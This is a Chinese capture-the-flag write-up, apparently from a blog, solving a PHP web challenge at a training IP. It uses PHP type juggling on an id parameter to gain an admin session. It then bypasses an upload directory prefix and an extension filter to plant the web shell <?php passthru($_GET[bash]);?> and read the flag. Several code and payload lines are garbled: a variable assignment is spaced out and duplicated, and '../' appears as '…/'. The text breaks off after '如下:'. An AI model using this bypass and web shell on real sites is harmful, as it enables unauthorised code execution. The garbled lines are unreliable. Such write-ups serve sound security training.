三种解题方法
(1)
步骤
1.进入题目后,查看源码进行审计,第一步需要进行绕过,获取到admin的session。
2.绕过要注意的三个点为:
(1)floatval($ _ GET [id])!==‘1’ //浮点不为1
(2)substr($ _ GET [id],-1)==='9‘ //id最后一位为9
(3)Mysql查询结果限制,id不能过大,
3.构建后exp为http://111.198.29.45:43136/index.php?page=&id=1/9&submit=提交查询#,可得到admin,如图所示
4.然后是文件过滤,要注意的三个点为:
(1) f i l e n a m e = " b a c k u p / " . filename = "backup/". filename="backup/".file; //目录为假目录,传入file时,加上一个…/
(2)’/.+.ph(p[3457]?|t|tml)$/i’ //正则过滤文件只匹配最后一个点的后缀,可以写入两次.php
(3)真实上传目录为upload
5.构建exp为file=…/123.php/1.php/…&con=<?php passthru($_GET[bash]);?>,用post方式进行传递
6.访问http://111.198.29.45:38479/uploaded/123.php?bash=cat …/flag.php,查看源码,获得flag,如图所示
(2)
对源码进行审计
这段说当session为admin时可以上传文件,文件会保存到uploaded/backup目录下,但是使用黑名单过滤掉了ph(p[3457]?|t|tml)这些后缀。
这段说当传入的id值浮点值不能为1,但是id的最后一个数必须为9,session才能为admin。
利用php弱类型语言的特性可轻松绕过这一限制。
如下: